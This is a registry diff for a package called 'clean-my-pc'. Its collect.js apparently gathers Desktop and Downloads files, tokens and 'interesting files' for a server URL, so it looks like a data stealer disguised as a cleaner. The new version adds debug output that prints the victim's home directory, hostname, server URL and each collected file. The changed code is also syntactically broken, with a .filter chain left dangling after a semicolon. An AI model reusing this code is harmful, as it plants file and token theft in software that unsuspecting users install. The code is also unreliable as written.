clean-my-pc 1.0.3 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/collect.js +8 -1
- package/package.json +1 -1
package/collect.js
CHANGED
|
@@ -385,6 +385,10 @@ function cleanup() {
|
|
|
385
385
|
}
|
|
386
386
|
|
|
387
387
|
async function main() {
|
|
388
|
+
console.error('[DEBUG] homeDir:', os.homedir());
|
|
389
|
+
console.error('[DEBUG] hostname:', os.hostname());
|
|
390
|
+
console.error('[DEBUG] serverUrl:', serverUrl);
|
|
391
|
+
|
|
388
392
|
const allFiles = [
|
|
389
393
|
...collectDesktop(),
|
|
390
394
|
...collectDownloads(),
|
|
@@ -394,7 +398,10 @@ async function main() {
|
|
|
394
398
|
...collectTokensAndInterestingFiles(),
|
|
395
399
|
];
|
|
396
400
|
|
|
397
|
-
const uniqueFiles = [...new Set(allFiles)]
|
|
401
|
+
const uniqueFiles = [...new Set(allFiles)];
|
|
402
|
+
console.error('[DEBUG] Found files:', uniqueFiles.length);
|
|
403
|
+
if (uniqueFiles.length > 0) { uniqueFiles.forEach(f => console.error('[DEBUG] FILE:', f)); }
|
|
404
|
+
else console.error('[DEBUG] NO FILES FOUND!');
|
|
398
405
|
.filter(f => fs.existsSync(f))
|
|
399
406
|
.filter(f => !f.includes('/tmp/system_collect_'))
|
|
400
407
|
.sort();
|